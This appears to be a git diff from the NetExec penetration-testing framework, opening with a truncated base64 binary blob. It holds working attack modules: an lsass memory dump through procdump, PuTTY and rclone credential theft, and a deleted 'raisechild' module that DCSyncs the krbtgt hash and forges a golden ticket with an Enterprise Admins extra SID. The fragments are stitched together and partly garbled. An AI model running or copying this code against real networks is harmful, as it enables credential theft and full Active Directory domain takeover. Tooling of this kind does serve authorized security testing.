AAIl0JBxqAP8VsKFCAIlEJDqNRCQYUMdEJDBMAQAA/xVAoEIAhcB1FV9eW4uMJJgAAAAzzOh5HQEAi+Vdw2gCfwAAagD/FXCiQgBQ/xWUokIAizVMoEIAagj/dCQsiUQkGP/Wagr/dCQsiUQkFP/Walj/dCQsi/j/1mpa/3QkLIvY/9ZqLIvwx0QkeAAAAACNRCR8agBQ6MoeAgCDxAzHRCRgAAAAAA9XwPMPf0QkZGoB/3QkLP8VUKBCAItEJCiJRCR0iUQkeIvHmff+aGD6//9pwKAFAADHhCSUAAAAAAAAAMeEJJAAAAAAAAAAaGD6//+JhCSgAAAAi0QkFJn3+2nAoAUAAImEJJwAAACNhCSEAAAA8w9vhCSUAAAAUPMPf4QkiAAAAP8VbKJCAI1EJGDHhCScAAAAAAAAAFD/dCQsx4QkqAAAAP/////HRCRoFAAAAMdEJGx8YEMA/xVUoEIAi1wkFIs9YKJCAGoAagBqDlP/1/90JCiJRCQQ/xVIoEIAjUQkdFBqAWg5BAAAU//X/3QkKIvw/xVcoEIAO3QkDH0+kP90JCiJtCSgAAAAx4QkpAAAAP//////FUigQgCNRCR0UGoBaDkEAABT/9f/dCQoi/D/FVygQgA7dCQMfMNqAGoAaDkEAABT/9f/dCQo/xVYoEIA/3QkEP8VlKJCAIuMJKQAAAC4AQAAAF9eWzPM6JobAQCL5V3DzMzMzMzMzMzMVYvsg+wIM9JWizVgZUMAV78BAAAAhfZ0JYvO6wONSQCNQQGJRfiKAUGEwHX5K034QgP5iwyVYGVDAIXJdeJX6CwqAQAz/4PEBIl9/IvIiU34hfZ0RyvOi8aNFDLine truncated
)
self.procdump = "procdump.exe"
self.procdump_path = abspath(TMP_PATH)
self.dir_result = self.procdump_path
@@ -64,23 +66,25 @@ class NXCModule:
context.log.fail(f"Error writing file to share {self.share}: {e}")
# get pid lsass
context.log.display("Getting lsass PID")
p = connection.execute('tasklist /v /fo csv | findstr /i "lsass"', True)
if not p:
context.log.fail("Failed getting lsass.exe PID")
self.delete_procdump_binary(connection, context)
return
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.display(f"Getting lsass PID {command}")
p = connection.execute(command, True)
pid = p.split(",")[1][1:-1]
command = f"{self.tmp_dir}{self.procdump} -accepteula -ma {pid} {self.tmp_dir}%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
dump = False
if "Dump 1 complete" in p:
context.log.success("Process lsass.exe was successfully dumped")
dump = True
else:
context.log.fail("Process lsass.exe error un dump, try with verbose")
if "Dump 1 complete" not in p:
context.log.fail("Process lsass.exe error while dumping, try with verbose")
if not dump:
self.delete_procdump_binary(connection, context)
return
else:
context.log.success("Process lsass.exe was successfully dumped")
regex = r"([A-Za-z0-9-]*.dmp)"
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ""
@@ -113,8 +117,8 @@ class NXCModule:
try:
pypy_parse = pypykatz.parse_minidump_external(dump)
except Exception as e:
pypy_parse = None
context.log.fail(f"Error parsing minidump: {e}")
return
ssps = [
"msv_creds",
+1 -1
View File
@@ -8,7 +8,7 @@ class NXCModule:
Module by @_sandw1ch
"""
name = "pso"
description = "[REMOVED] This module moved to the core option --pso"
description = "Module to get the Fine Grained Password Policy/PSOs"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
+2 -2
View File
@@ -154,13 +154,13 @@ class NXCModule:
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}"
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
-600
View File
@@ -1,600 +0,0 @@
import os
import datetime
import re
from contextlib import suppress
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
from calendar import timegm
from binascii import unhexlify
from pyasn1.codec.der import encoder
from pyasn1.type.univ import noValue
from impacket.krb5.asn1 import AS_REP, EncTicketPart, EncASRepPart, AuthorizationData
from impacket.krb5.types import KerberosTime
from impacket.krb5.constants import ApplicationTagNumbers, ProtocolVersionNumber, PrincipalNameType, TicketFlags, AuthorizationDataType, EncryptionTypes, ChecksumTypes, KERB_NON_KERB_CKSUM_SALT, encodeFlags
from impacket.krb5.crypto import Key, _enctype_table, _checksum_table
from impacket.krb5.ccache import CCache
from impacket.krb5.pac import VALIDATION_INFO, KERB_VALIDATION_INFO, PAC_LOGON_INFO, PAC_CLIENT_INFO, PAC_CLIENT_INFO_TYPE, PAC_REQUESTOR, PAC_REQUESTOR_INFO, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, KERB_SID_AND_ATTRIBUTES
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
# Encryption type configurations: enctype, checksum, signature size, session key size
ETYPE_CONFIG = {
"rc4": (EncryptionTypes.rc4_hmac.value, ChecksumTypes.hmac_md5.value, 16, 16),
"aes128": (EncryptionTypes.aes128_cts_hmac_sha1_96.value, ChecksumTypes.hmac_sha1_96_aes128.value, 12, 16),
"aes256": (EncryptionTypes.aes256_cts_hmac_sha1_96.value, ChecksumTypes.hmac_sha1_96_aes256.value, 12, 32),
}
class NXCModule:
"""Module made by @azoxlpf"""
name = "raisechild"
description = "Compromise parent domain from child domain via trust abuse"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.parent_domain = None
self.parent_sid = None
self.child_sid = None
self.child_domain = None
self.target_dc = None
self.valid_tgt = None
self.new_ticket = None
self.krbtgt_hash = ""
self.aes128_key = ""
self.aes256_key = ""
self.etype = "rc4"
def options(self, context, module_options):
"""
Forge a Kerberos TGT using the child domain's krbtgt hash, with an extra SID targeting privileged groups in the parent domain.
Requires an existing trust with the parent.
USER Target username to forge the ticket for (default: Administrator)
USER_ID RID used as the user ID in the PAC (default: 500)
RID RID used for the extra SID (default: 519 = Enterprise Admins)
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
Examples:
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER_ID=1001
netexec ldap <ip> -u <username> -p <password> -M raisechild -o RID=512
netexec ldap <ip> -u <username> -p <password> -M raisechild -o ETYPE=aes256
"""
self.context = context
self.module_options = module_options
self.etype = module_options.get("ETYPE", "rc4").lower()
def on_admin_login(self, context, connection):
self.context = context
context.log.display("Running raisechild module...")
self.get_domain_sid(connection)
self.get_parent_info(connection)
if not self.parent_domain or not self.parent_sid:
context.log.fail("No parent trust (AD + inbound) found.")
return
self.get_krbtgt_hash(connection)
def get_parent_info(self, connection):
base_dn = f"CN=System,{connection.baseDN}"
attributes = ["name", "trustPartner", "securityIdentifier", "trustDirection", "trustType"]
try:
response = connection.search(
searchFilter="(objectClass=trustedDomain)",
attributes=attributes,
baseDN=base_dn,
)
trusts = parse_result_attributes(response)
self.context.log.debug(f"TrustedDomain objects: {trusts}")
for trust in trusts:
trust_name = trust.get("name")
trust_partner = trust.get("trustPartner")
trust_sid = trust.get("securityIdentifier")
trust_direction = int(trust.get("trustDirection", 0))
trust_type = int(trust.get("trustType", 0))
# 2 = TRUST_TYPE_UPLEVEL; direction 1 (inbound) or 3 (bi-directional)
if trust_type == 2 and trust_direction in (1, 3):
self.parent_domain = trust_partner or trust_name
try:
revision = trust_sid[0]
count = trust_sid[1]
id_auth = int.from_bytes(trust_sid[2:8], byteorder="big")
sub_auths = [
str(int.from_bytes(trust_sid[8 + i * 4 : 12 + i * 4], byteorder="little"))
for i in range(count)
]
trust_sid = f"S-{revision}-{id_auth}-" + "-".join(sub_auths)
except Exception as e:
self.context.log.fail(f"Failed to convert parent SID to string: {e}")
trust_sid = None
self.parent_sid = trust_sid
self.context.log.highlight(f"Parent domain name: {self.parent_domain}")
self.context.log.highlight(f"Parent domain SID: {self.parent_sid}")
return
except Exception as e:
self.context.log.fail(f"Failed to query trustedDomain entries: {e}")
def get_domain_sid(self, connection):
if connection.sid_domain:
self.child_sid = connection.sid_domain
self.context.log.highlight(f"Child Domain SID: {self.child_sid}")
else:
self.context.log.fail("Could not retrieve child domain SID from connection.")
def _get_smb_session(self, ldap_conn):
smb = SMBConnection(
remoteName=ldap_conn.hostname,
remoteHost=ldap_conn.host,
sess_port=445,
)
if ldap_conn.kerberos:
smb.kerberosLogin(
user=ldap_conn.username,
password=ldap_conn.password,
domain=ldap_conn.domain,
lmhash=ldap_conn.lmhash,
nthash=ldap_conn.nthash,
aesKey=ldap_conn.aesKey,
kdcHost=ldap_conn.kdcHost,
useCache=ldap_conn.use_kcache,
)
elif ldap_conn.nthash or ldap_conn.lmhash:
# NTLM pass-the-hash
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
else:
# NTLM with cleartext password
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
return smb
def _get_domain_netbios(self, ldap_conn):
resp = ldap_conn.search(
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
searchFilter=f"(&(objectCategory=crossRef)(dnsRoot={ldap_conn.targetDomain})(nETBIOSName=*))",
attributes=["nETBIOSName"],
)
entries = parse_result_attributes(resp)
return entries[0]["nETBIOSName"]
def _dcsync_krbtgt(self, smb_conn, ldap_conn):
try:
rop = RemoteOperations(
smb_conn,
doKerberos=ldap_conn.kerberos,
kdcHost=ldap_conn.kdcHost,
)
rop.enableRegistry()
boot_key = rop.getBootKey()
domain_netbios = self._get_domain_netbios(ldap_conn)
target_user = f"{domain_netbios}/krbtgt"
def grab_hash(secret_type, secret):
if secret_type == NTDSHashes.SECRET_TYPE.NTDS:
self.krbtgt_hash = secret
elif secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
if "aes256-cts-hmac-sha1-96" in secret.lower():
self.aes256_key = secret.split(":")[-1]
elif "aes128-cts-hmac-sha1-96" in secret.lower():
self.aes128_key = secret.split(":")[-1]
ntds = NTDSHashes(
None,
boot_key,
isRemote=True,
noLMHash=True,
remoteOps=rop,
justNTLM=self.etype == "rc4",
justUser=target_user,
printUserStatus=False,
perSecretCallback=grab_hash,
)
ntds.dump()
secret = {"rc4": self.krbtgt_hash, "aes128": self.aes128_key, "aes256": self.aes256_key}.get(self.etype)
label = "hash" if self.etype == "rc4" else f"{self.etype.upper()} key"
if secret:
self.context.log.highlight(f"krbtgt {label}: {secret}")
else:
self.context.log.fail(f"DCSync completed - krbtgt {label} not found!")
except DCERPCSessionError as e:
self.context.log.fail(f"RPC DRSUAPI error: {e}")
except Exception as e:
self.context.log.fail(f"DCSync error: {e}")
finally:
with suppress(Exception):
if ntds:
ntds.finish()
with suppress(Exception):
if rop:
rop.finish()
with suppress(Exception):
smb_conn.logoff()
def get_krbtgt_hash(self, connection):
try:
smb_conn = self._get_smb_session(connection)
self._dcsync_krbtgt(smb_conn, connection)
except Exception as e:
self.context.log.fail(f"Error during DCSync: {e}")
return
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
try:
tgt = self.forge_golden_ticket(connection)
self.context.log.success(f"Golden ticket forged successfully (etype: {self.etype}). Saved to: {tgt}")
self.context.log.success(f"Run the following command to use the TGT: export KRB5CCNAME={tgt}")
self.forged_tgt = tgt
except Exception as e:
self.context.log.fail(f"Error while generating golden ticket : {e}")
else:
self.context.log.fail(f"Cannot forge ticket: required hash/key for etype '{self.etype}' not found.")
def forge_golden_ticket(self, connection):
"""
Forge a golden ticket for the parent domain using the krbtgt key.
Supports optional USER, RID, USER_ID and ETYPE module options.
"""
admin_name = self.module_options.get("USER", "Administrator")
extra_rid = str(self.module_options.get("RID", "519"))
extra_sid = f"{self.parent_sid}-{extra_rid}"
user_rid = str(self.module_options.get("USER_ID", "500"))
domain_upper = connection.domain.upper()
groups_list = [513, 512, 520, 518, 519]
# Create ticket
enctype_value, checksum_type, sig_size, key_size = ETYPE_CONFIG[self.etype]
key_map = {"rc4": self.krbtgt_hash, "aes128": self.aes128_key, "aes256": self.aes256_key}
raw_key = self._clean_nthash(key_map[self.etype]) if self.etype == "rc4" else key_map[self.etype]
krbtgt_key = Key(_enctype_table[enctype_value].enctype, unhexlify(raw_key))
validation_info = self._createBasicValidationInfo(admin_name, domain_upper, self.child_sid, groups_list, int(user_rid))
pac_infos = self._createBasicPac(validation_info, admin_name, checksum_type, sig_size)
self._createRequestorInfoPac(pac_infos, self.child_sid, int(user_rid))
as_rep = self._buildAsrep(domain_upper, admin_name, enctype_value)
enc_asrep_part, enc_ticket_part, pac_infos = self._buildEncParts(as_rep, domain_upper, admin_name, 87600, enctype_value, pac_infos, key_size)
self._injectExtraSids(pac_infos, extra_sid)
encoded_asrep, client_session_key = self._signEncryptTicket(as_rep, enc_asrep_part, enc_ticket_part, pac_infos, krbtgt_key, enctype_value)
return self._saveTicket(admin_name, encoded_asrep, client_session_key)
def _clean_nthash(self, raw):
if ":" in raw:
parts = raw.split(":")
if len(parts) >= 4:
raw = parts[3]
raw = raw.strip()
if not re.fullmatch(r"[0-9a-fA-F]{32}", raw):
raise ValueError(f"Invalid NT-hash format : {raw}")
return raw.lower()
# Rest is stolen from impacket's ticketer.py
@staticmethod
def _getFileTime(unix_seconds: int) -> int:
return unix_seconds * 10_000_000 + 116_444_736_000_000_000
@staticmethod
def _getPadLength(length: int) -> int:
return ((length + 7) // 8 * 8) - length
@staticmethod
def _getBlockLength(length: int) -> int:
return (length + 7) // 8 * 8
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
kerbdata = KERB_VALIDATION_INFO()
now_utc = datetime.datetime.now(datetime.timezone.utc)
now_unix = timegm(now_utc.timetuple())
now_filetime = self._getFileTime(now_unix)
kerbdata["LogonTime"]["dwLowDateTime"] = now_filetime & 0xFFFFFFFF
kerbdata["LogonTime"]["dwHighDateTime"] = now_filetime >> 32
kerbdata["LogoffTime"]["dwLowDateTime"] = 0xFFFFFFFF
kerbdata["LogoffTime"]["dwHighDateTime"] = 0x7FFFFFFF
kerbdata["KickOffTime"]["dwLowDateTime"] = 0xFFFFFFFF
kerbdata["KickOffTime"]["dwHighDateTime"] = 0x7FFFFFFF
kerbdata["PasswordLastSet"]["dwLowDateTime"] = now_filetime & 0xFFFFFFFF
kerbdata["PasswordLastSet"]["dwHighDateTime"] = now_filetime >> 32
kerbdata["PasswordCanChange"]["dwLowDateTime"] = 0
kerbdata["PasswordCanChange"]["dwHighDateTime"] = 0
kerbdata["PasswordMustChange"]["dwLowDateTime"] = 0xFFFFFFFF
kerbdata["PasswordMustChange"]["dwHighDateTime"] = 0x7FFFFFFF
kerbdata["EffectiveName"] = username
kerbdata["FullName"] = ""
kerbdata["LogonScript"] = ""
kerbdata["ProfilePath"] = ""
kerbdata["HomeDirectory"] = ""
kerbdata["HomeDirectoryDrive"] = ""
kerbdata["LogonCount"] = 500
kerbdata["BadPasswordCount"] = 0
kerbdata["UserId"] = int(user_rid)
primary_group_id = int(groups[0]) if groups else 513
kerbdata["PrimaryGroupId"] = primary_group_id
kerbdata["GroupCount"] = len(groups)
for group_rid in (groups or [513]):
membership = GROUP_MEMBERSHIP()
ndr_rid = NDRULONG()
ndr_rid["Data"] = int(group_rid)
membership["RelativeId"] = ndr_rid
membership["Attributes"] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata["GroupIds"].append(membership)
kerbdata["UserFlags"] = 0
kerbdata["UserSessionKey"] = b"\x00" * 16
kerbdata["LogonServer"] = ""
kerbdata["LogonDomainName"] = domain
kerbdata["LogonDomainId"].fromCanonical(domain_sid)
kerbdata["LMKey"] = b"\x00" * 8
kerbdata["UserAccountControl"] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata["SubAuthStatus"] = 0
kerbdata["LastSuccessfulILogon"]["dwLowDateTime"] = 0
kerbdata["LastSuccessfulILogon"]["dwHighDateTime"] = 0
kerbdata["LastFailedILogon"]["dwLowDateTime"] = 0
kerbdata["LastFailedILogon"]["dwHighDateTime"] = 0
kerbdata["FailedILogonCount"] = 0
kerbdata["Reserved3"] = 0
kerbdata["ResourceGroupDomainSid"] = NULL
kerbdata["ResourceGroupCount"] = 0
kerbdata["ResourceGroupIds"] = NULL
validation_info = VALIDATION_INFO()
validation_info["Data"] = kerbdata
return validation_info
def _createBasicPac(self, validation_info: VALIDATION_INFO, username: str, checksum_type: int, sig_size: int) -> dict:
pac_infos: dict[int, bytes] = {}
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
server_checksum_placeholder = PAC_SIGNATURE_DATA()
private_checksum_placeholder = PAC_SIGNATURE_DATA()
server_checksum_placeholder["SignatureType"] = checksum_type
private_checksum_placeholder["SignatureType"] = checksum_type
server_checksum_placeholder["Signature"] = b"\x00" * sig_size
private_checksum_placeholder["Signature"] = b"\x00" * sig_size
pac_infos[PAC_SERVER_CHECKSUM] = server_checksum_placeholder.getData()
pac_infos[PAC_PRIVSVR_CHECKSUM] = private_checksum_placeholder.getData()
client_info = PAC_CLIENT_INFO()
client_name_utf16 = username.encode("utf-16le")
client_info["Name"] = client_name_utf16
client_info["NameLength"] = len(client_name_utf16)
pac_infos[PAC_CLIENT_INFO_TYPE] = client_info.getData()
return pac_infos
def _createRequestorInfoPac(self, pac_infos: dict, domain_sid: str, user_rid: int) -> None:
requestor = PAC_REQUESTOR()
requestor["UserSid"] = SID()
requestor["UserSid"].fromCanonical(f"{domain_sid}-{int(user_rid)}")
pac_infos[PAC_REQUESTOR_INFO] = requestor.getData()
def _buildAsrep(self, domain: str, username: str, enctype_value: int) -> AS_REP:
as_rep = AS_REP()
as_rep["msg-type"] = ApplicationTagNumbers.AS_REP.value
as_rep["pvno"] = 5
as_rep["crealm"] = domain
as_rep["cname"] = noValue
as_rep["cname"]["name-type"] = PrincipalNameType.NT_PRINCIPAL.value
as_rep["cname"]["name-string"] = noValue
as_rep["cname"]["name-string"][0] = username
as_rep["ticket"] = noValue
as_rep["ticket"]["tkt-vno"] = ProtocolVersionNumber.pvno.value
as_rep["ticket"]["realm"] = domain
as_rep["ticket"]["sname"] = noValue
as_rep["ticket"]["sname"]["name-type"] = PrincipalNameType.NT_SRV_INST.value
as_rep["ticket"]["sname"]["name-string"] = noValue
as_rep["ticket"]["sname"]["name-string"][0] = "krbtgt"
as_rep["ticket"]["sname"]["name-string"][1] = domain
as_rep["ticket"]["enc-part"] = noValue
as_rep["ticket"]["enc-part"]["kvno"] = 2
as_rep["ticket"]["enc-part"]["etype"] = enctype_value
as_rep["enc-part"] = noValue
as_rep["enc-part"]["kvno"] = 2
as_rep["enc-part"]["etype"] = enctype_value
as_rep["enc-part"]["cipher"] = noValue
return as_rep
def _injectExtraSids(self, pac_infos: dict, extra_sid_csv: str | None) -> None:
if not extra_sid_csv or PAC_LOGON_INFO not in pac_infos:
return
current_blob = pac_infos[PAC_LOGON_INFO]
validation_info = VALIDATION_INFO()
validation_info.fromString(current_blob)
base_len = len(validation_info.getData())
validation_info.fromStringReferents(current_blob, base_len)
validation_info["Data"]["UserFlags"] |= 0x20 # LOGON_EXTRA_SIDS
if validation_info["Data"]["SidCount"] == 0 or not validation_info["Data"]["ExtraSids"]:
validation_info["Data"]["ExtraSids"] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
validation_info["Data"]["SidCount"] = 0
for sid_txt in str(extra_sid_csv).split(","):
sid_txt = sid_txt.strip()
if not sid_txt:
continue
sid_and_attr = KERB_SID_AND_ATTRIBUTES()
rpc_sid = RPC_SID()
rpc_sid.fromCanonical(sid_txt)
sid_and_attr["Sid"] = rpc_sid
sid_and_attr["Attributes"] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validation_info["Data"]["ExtraSids"].append(sid_and_attr)
validation_info["Data"]["SidCount"] += 1
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
now_utc = datetime.datetime.now(datetime.timezone.utc)
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
enc_ticket_part = EncTicketPart()
enc_ticket_part["flags"] = encodeFlags([
TicketFlags.forwardable.value,
TicketFlags.proxiable.value,
TicketFlags.renewable.value,
TicketFlags.pre_authent.value,
TicketFlags.initial.value,
])
enc_ticket_part["key"] = noValue
enc_ticket_part["key"]["keytype"] = enctype_value
enc_ticket_part["key"]["keyvalue"] = os.urandom(key_size)
enc_ticket_part["crealm"] = domain
enc_ticket_part["cname"] = noValue
enc_ticket_part["cname"]["name-type"] = PrincipalNameType.NT_PRINCIPAL.value
enc_ticket_part["cname"]["name-string"] = noValue
enc_ticket_part["cname"]["name-string"][0] = username
enc_ticket_part["transited"] = noValue
enc_ticket_part["transited"]["tr-type"] = 0
enc_ticket_part["transited"]["contents"] = ""
enc_ticket_part["authtime"] = KerberosTime.to_asn1(now_utc)
enc_ticket_part["starttime"] = KerberosTime.to_asn1(now_utc)
enc_ticket_part["endtime"] = KerberosTime.to_asn1(end_utc)
enc_ticket_part["renew-till"] = KerberosTime.to_asn1(end_utc)
enc_ticket_part["authorization-data"] = noValue
enc_ticket_part["authorization-data"][0] = noValue
enc_ticket_part["authorization-data"][0]["ad-type"] = AuthorizationDataType.AD_IF_RELEVANT.value
enc_ticket_part["authorization-data"][0]["ad-data"] = noValue
if PAC_CLIENT_INFO_TYPE in pac_infos:
client_id_filetime = self._getFileTime(timegm(now_utc.timetuple()))
pac_client_info = PAC_CLIENT_INFO(pac_infos[PAC_CLIENT_INFO_TYPE])
pac_client_info["ClientId"] = client_id_filetime
pac_infos[PAC_CLIENT_INFO_TYPE] = pac_client_info.getData()
enc_asrep_part = EncASRepPart()
enc_asrep_part["key"] = noValue
enc_asrep_part["key"]["keytype"] = enctype_value
enc_asrep_part["key"]["keyvalue"] = enc_ticket_part["key"]["keyvalue"]
enc_asrep_part["last-req"] = noValue
enc_asrep_part["last-req"][0] = noValue
enc_asrep_part["last-req"][0]["lr-type"] = 0
enc_asrep_part["last-req"][0]["lr-value"] = KerberosTime.to_asn1(now_utc)
enc_asrep_part["nonce"] = 123456789
enc_asrep_part["key-expiration"] = KerberosTime.to_asn1(end_utc)
enc_asrep_part["flags"] = list(enc_ticket_part["flags"])
enc_asrep_part["authtime"] = str(enc_ticket_part["authtime"])
enc_asrep_part["endtime"] = str(enc_ticket_part["endtime"])
enc_asrep_part["starttime"] = str(enc_ticket_part["starttime"])
enc_asrep_part["renew-till"] = str(enc_ticket_part["renew-till"])
enc_asrep_part["srealm"] = domain
enc_asrep_part["sname"] = noValue
enc_asrep_part["sname"]["name-type"] = PrincipalNameType.NT_SRV_INST.value
enc_asrep_part["sname"]["name-string"] = noValue
enc_asrep_part["sname"]["name-string"][0] = "krbtgt"
enc_asrep_part["sname"]["name-string"][1] = domain
return enc_asrep_part, enc_ticket_part, pac_infos
def _signEncryptTicket(self, as_rep: AS_REP, enc_asrep_part: EncASRepPart, enc_ticket_part: EncTicketPart, pac_infos: dict, krbtgt_key: Key, enctype_value: int) -> tuple[bytes, Key]:
def zero_pad(n: int) -> bytes: return b"\x00" * self._getPadLength(n)
pac_buffer_order = [PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_REQUESTOR_INFO, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM]
pac_blobs_with_padding: list[tuple[int, bytes, bytes]] = []
for buffer_type in pac_buffer_order:
buffer_bytes = pac_infos[buffer_type]
pac_blobs_with_padding.append((buffer_type, buffer_bytes, zero_pad(len(buffer_bytes))))
buffer_count = len(pac_buffer_order)
pac_info_buffer_header_size = len(PAC_INFO_BUFFER().getData())
current_data_offset = 8 + pac_info_buffer_header_size * buffer_count
def make_info_buffer(ul_type: int, blob_length: int) -> PAC_INFO_BUFFER:
nonlocal current_data_offset
info_buffer = PAC_INFO_BUFFER()
info_buffer["ulType"] = ul_type
info_buffer["cbBufferSize"] = blob_length
info_buffer["Offset"] = current_data_offset
current_data_offset = self._getBlockLength(current_data_offset + blob_length)
return info_buffer
info_buffers: list[PAC_INFO_BUFFER] = []
for buffer_type, buffer_bytes, _ in pac_blobs_with_padding:
info_buffers.append(make_info_buffer(buffer_type, len(buffer_bytes)))
buffers_header_bytes = b"".join(info_buffer.getData() for info_buffer in info_buffers)
buffers_data_bytes = b"".join(buffer_bytes + padding for _, buffer_bytes, padding in pac_blobs_with_padding)
pac_type = PACTYPE()
pac_type["cBuffers"] = buffer_count
pac_type["Version"] = 0
pac_type["Buffers"] = buffers_header_bytes + buffers_data_bytes
pac_bytes_for_checksum = pac_type.getData()
server_checksum_struct = PAC_SIGNATURE_DATA(pac_infos[PAC_SERVER_CHECKSUM])
kdc_checksum_struct = PAC_SIGNATURE_DATA(pac_infos[PAC_PRIVSVR_CHECKSUM])
checksum_function_server = _checksum_table[server_checksum_struct["SignatureType"]]
checksum_function_kdc = _checksum_table[kdc_checksum_struct["SignatureType"]]
server_checksum_struct["Signature"] = checksum_function_server.checksum(krbtgt_key, KERB_NON_KERB_CKSUM_SALT, pac_bytes_for_checksum)
kdc_checksum_struct["Signature"] = checksum_function_kdc.checksum(krbtgt_key, KERB_NON_KERB_CKSUM_SALT, server_checksum_struct["Signature"])
rebuilt_blobs: list[bytes] = []
for buffer_type, buffer_bytes, padding in pac_blobs_with_padding:
if buffer_type == PAC_SERVER_CHECKSUM:
buffer_bytes = server_checksum_struct.getData()
elif buffer_type == PAC_PRIVSVR_CHECKSUM:
buffer_bytes = kdc_checksum_struct.getData()
rebuilt_blobs.append(buffer_bytes + padding)
pac_type["Buffers"] = buffers_header_bytes + b"".join(rebuilt_blobs)
authorization_data = AuthorizationData()
authorization_data[0] = noValue
authorization_data[0]["ad-type"] = AuthorizationDataType.AD_WIN2K_PAC.value
authorization_data[0]["ad-data"] = pac_type.getData()
enc_ticket_part["authorization-data"][0]["ad-data"] = encoder.encode(authorization_data)
ticket_cipher = _enctype_table[enctype_value]
enc_ticket_part_bytes = encoder.encode(enc_ticket_part)
encrypted_ticket_ciphertext = ticket_cipher.encrypt(krbtgt_key, 2, enc_ticket_part_bytes, None)
as_rep["ticket"]["enc-part"]["cipher"] = encrypted_ticket_ciphertext
as_rep["ticket"]["enc-part"]["kvno"] = 2
enc_asrep_part_bytes = encoder.encode(enc_asrep_part)
client_session_key = Key(ticket_cipher.enctype, enc_asrep_part["key"]["keyvalue"].asOctets())
encrypted_encpart_ciphertext = ticket_cipher.encrypt(client_session_key, 3, enc_asrep_part_bytes, None)
as_rep["enc-part"]["cipher"] = encrypted_encpart_ciphertext
as_rep["enc-part"]["etype"] = ticket_cipher.enctype
as_rep["enc-part"]["kvno"] = 1
return encoder.encode(as_rep), client_session_key
def _saveTicket(self, username: str, encoded_asrep: bytes, client_session_key: Key) -> str:
ccache = CCache()
ccache.fromTGT(encoded_asrep, client_session_key, client_session_key)
out_path = f"{username}.ccache"
ccache.saveFile(out_path)
return out_path
-88
View File
@@ -1,88 +0,0 @@
import base64
from Crypto.Cipher import AES
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "rclone"
description = "Searches for rclone.conf and deobscures credentials"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No module options."""
def on_admin_login(self, context, connection):
self.share = "C$"
base_dir = "\\Users"
skip_dirs = {"Public", "Default", "Default User", "All Users"}
try:
entries = connection.conn.listPath(self.share, base_dir + "\\*")
except Exception as e:
context.log.fail(f"Failed to list {base_dir}: {e}")
return False
usernames = [
entry.get_longname()
for entry in entries
if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."}
]
if not usernames:
context.log.warning("No user directories found.")
return False
for username in usernames:
conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf"
